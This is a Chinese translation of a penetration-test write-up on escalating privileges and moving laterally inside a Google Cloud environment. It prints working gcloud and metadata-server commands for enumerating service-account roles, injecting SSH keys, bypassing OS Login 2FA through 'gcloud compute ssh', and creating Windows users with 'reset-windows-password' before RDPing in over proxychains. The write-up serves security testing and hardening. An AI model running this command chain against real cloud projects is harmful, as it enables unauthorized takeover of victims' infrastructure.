Enumeration and lateral movement in GCP environments(译文)

qing16 2022-06-14 10:50:00

在这篇文章中,我们将为读者详细介绍在某次渗透测试过程中,我们是如何用本地的GCP工具来进行态势感知和横向移动,从而成功地拿下了一个混合型GCP托管的基础设施的。

在我们继续之前,我想说的是,这里用到的许多技术都不是我们创造出来的,相反,它们基本上都可以在两篇优秀的文章中找到:一篇是来自Gitlab的红队,另一篇是由Tomasz W.撰写的博客文章

在继续之前,强烈推荐大家先阅读这两篇文章。

初始入侵

下面,我将简要介绍我们是如何在公司的网络中站稳脚跟的。在进行了最初的侦察并在指定网络范围内收集了感兴趣的IP地址之后,对邻近ip地址空间进行了细致的扫描,并返回了一个scriptcase服务器——后来,我们确定这其实是影子云,有人在测试后忘记删除了。

1.png

(出于隐私原因,相关的ip地址和端口已经进行了修改)。

在对服务进行暴力搜索一段时间后,我们发现了管理帐户的登陆凭据,并能够从实例内部运行回调脚本。

1.png

我不打算详细说明,因为渗透测试过程与特定环境高度相关,可能对读者没有啥用。

枚举与权限提升

然后,我们使用运行scriptcase服务的守护进程帐户来登陆实例。每当您登陆特定的云环境时,使用环境提供的本机工具来执行初始枚举总是一个好主意(例如aws中的aws-cli提供的aws二进制文件,或者GCP中的GCloud/Gutils工具)。这是我们首先要尝试的事情之一。

1.png

好了,第一个问题来了。这个守护进程帐户貌似无法创建运行gcloud二进制文件所需的大量文件夹,因为它缺乏相应的权限。也许我们应该尝试手动下载二进制文件,并从tmp文件夹中运行它。下面,让我们检查一下我们的账户在/etc/passwd上是如何配置的(默认的shell、home dir等)。

1.png

我们看到,默认shell是nologin(这是大多数服务帐户的标准配置,因为它们根本就不打算以交互方式来使用),我们的home dir是/usr/sbin,但是我们无法访问它(否则提升我们的特权将是轻而易举的事情)。而为了创建配置文件,gcloud二进制文件则需要有一个主文件夹,所以,让我们先给它创建主文件夹,然后手动运行独立安装程序。

1.png

设置主目录并下载GCloud

1.png

安装二进制文件

1.png

Gcloud成功安装

好了,安装成功了!现在,GCP的本机工具已经可以在受限的环境中工作了。

1.png

然后,我们就可以访问该二进制文件了。现在,让我们试着枚举一下我们的服务账户角色。重要的是要记住,无论何时在GCP中创建实例,它都需要有一个关联的服务帐户,因此默认情况下为您创建一个。我们可以用以下方法枚举我们的角色:

PROJECT=$(curl http://metadata.google.internal/computeMetadata/v1/project/project-id -H “Metadata-Flavor: Google” -s)

ACCOUNT=$(curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email -H “Metadata-Flavor: Google” -s)

gcloud projects get-iam-policy $PROJECT --flatten=”bindings[].members” --format=’table(bindings.role)’ --filter=”bindings.members:$ACCOUNT” 

(如果使用本地安装的二进制文件的话,别忘了替换gcloud路径:例如/tmp/google-cloud-sdk/bin/gcloud)

1.png

编辑器角色是与服务帐户相关联的默认角色,它可以用来提权。下面,让我们尝试修改实例元数据以注入ssh密钥(关于这种方法的详细解释,请参见前面介绍的文章)。

首先,让我们检查哪些用户的密钥是可以替换的。让我们用以下方法获得实例元数据:

INSTANCEID=$(curl http://metadata.google.internal/computeMetadata/v1/instance/id -H “Metadata-Flavor:Google” -s)

FULLZONE=$(curl http://metadata.google.internal/computeMetadata/v1/instance/zone -H “Metadata-Flavor: Google” -s)

gcloud compute instances describe $INSTANCEID --zone $FULLZONE 

1.png

1.png

在这个实例的元数据中似乎没有找到任何ssh密钥。实际上,这才是它应该有的样子。下面给出来自另一个项目的实例:

1.png

(密钥也已经被替换了,所以,大家不要太激动)

在这两张图中,我们确实获得了一些重要的信息,比如下面这些内容规定——必须使用oslogin:

-key: enable-oslogin  

我们以后再来讨论这个问题。现在,让我们尝试将密钥注入到实例的元数据中:

ssh-keygen -t rsa -C “shenanigans” -f ./key -P “” && cat ./key.pub

gcloud compute instances add-metadata instance012 --metadata-from-file ssh-keys=meta.txt 

1.png

创建密钥

1.png

将密钥注入到元数据中

1.png

检查注入的密钥是否可用

我们发现的第二个问题:我们的ssh密钥似乎无法正常发挥作用。下面,让我们验证一下它们是否存在:

1.png

是的,都在那里。那么,一定有别的东西阻止我们登录。大家还记得我们说过os-login很重要吗?嗯,这家公司为ssh登录配置了强制性的2FA,而我们没有为账户创建第二个因子。所以,我们需要设法绕过这一点。如果大家读过Gitlab的文章的话,就会知道2FA认证并没有对服务账户强制执行。同时,我们是以gcloud计算实例服务账户(大家可以用auth命令查看是哪个账户)的形式运行的:

gcloud auth list

1.png

GCP的另一个很酷的特性是,在默认情况下,从compute API运行ssh命令时,将为您的服务帐户创建密钥,并将它们注入目标实例(在本例中为localhost),以允许您进入sudoers组。下面,让我们来试试:

gcloud compute ssh $INSTANCENAME

1.png

创建并注入密钥

1.png

我们成功地实现了权限提升。接下来,让我们开始横向移动。

横向移动

1.png

我们可以从枚举项目中的实例开始着手:

  gcloud compute instances list 

1.png

该ssh命令应该对其他实例也有效:

1.png

该ssh命令的确对其他实例也有效

但是由于某些原因,部分实例对我们的ssh命令没有反应:

1.png

在进行快速的端口扫描后,我们发现这个项目同时拥有Linux和Windows机器:

1.png

这是一个简单的故障排除方法,但扫描实例并不总是确定其操作系统的最佳方法。比如,在进行渗透测试时,可能有一个IDS在监控扫描。此外,也可能无法使用nmap(当然,可以通过telnet端口或使用socat或类似的方法来解决,但这很不方便)。或者,你可能想把这个过程的某些部分自动化。不管怎样,我们都希望能够找到通过Google的API进行查询的方法,并且没有简单的方法可以做到这一点,除非您非常幸运:系统启用了alpha计算API(我们从未见过IRL)。

幸运的是,有一个变通办法:当你查询实例信息时,JSON结果中的一个参数是Licensing信息。我们可以藉此推断出实例的操作系统。我们可以通过以下方式查询:

INSTANCES=$(gcloud compute instances list  format=json | jq -r .[].name)

ZONE=$(curl http://metadata.google.internal/computeMetadata/v1/instance/zone -H Metadata-Flavor: Google -s | cut -d/ -f4)

for i in $(echo $INSTANCES); do echo $i: && gcloud compute instances describe g-shr-scriptcase-01 --zone $ZONE --format=json | jq -r .disks[].licenses[] | rev | cut -d / -f 1 | rev && echo; done

1.png

根据许可记录枚举操作系统信息

了解一个实例的操作系统是很有用的,但是,我们该如何真正地跳转到Windows主机呢?实际上,我们有一个类似于"compute ssh"的命令,但是它是用于Windows系统的,这方面的详细介绍请参考Tomasz W.的文章。我们可以执行下面的命令:

gcloud compute reset-windows-password g-xbz-qlikview-01 --user=shenanigans 

1.png

在代理链上定义quick proxy后,我们就可以新创建的用户的身份通过rdp进入实例:

proxychains4 xfreerdp /u:shenanigans /p:;QfJt@fJt\fJtHfJt4)L /v:172.21.31.8



*hacker voice* Were in

1.png

2.png

3.png

小结

在设置云基础设施时,必须意识到这样一个事实:某些配置在默认情况下可能不是100%安全的。在安全性和可用性之间总是很难平衡的,有时人们更倾向于后者。尤其是当默认情况下只有一个命令来执行以下操作时:

  • 创建ssh密钥
  • 将ssh密钥注入到目标实例
  • 将您的密钥添加到该实例
  • 将您添加到sudoers组

好了,尤其要注意下面的命令:

gcloud compute ssh $INSTANCENAME 

虽然之前也提到过,但我想重申一下,这篇文章参考了很多资源,但其中最有用的两份是:

  • Tomasz W.的渗透测试笔记
  • Chris Moberly的这篇文章

建议大家仔细阅读这些资料,它们真的太棒了!

原文地址:https://infosecwriteups.com/enumeration-and-lateral-movement-in-gcp-environments-c3b82d342794

评论

C

CDxiaodong 2022-06-16 17:43:24

学到了 感谢大佬

Q

qing16

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

iOS安全 文章:36 篇
Exploit 文章:40 篇
Web安全 文章:248 篇
运维安全 文章:62 篇
浏览器安全 文章:36 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录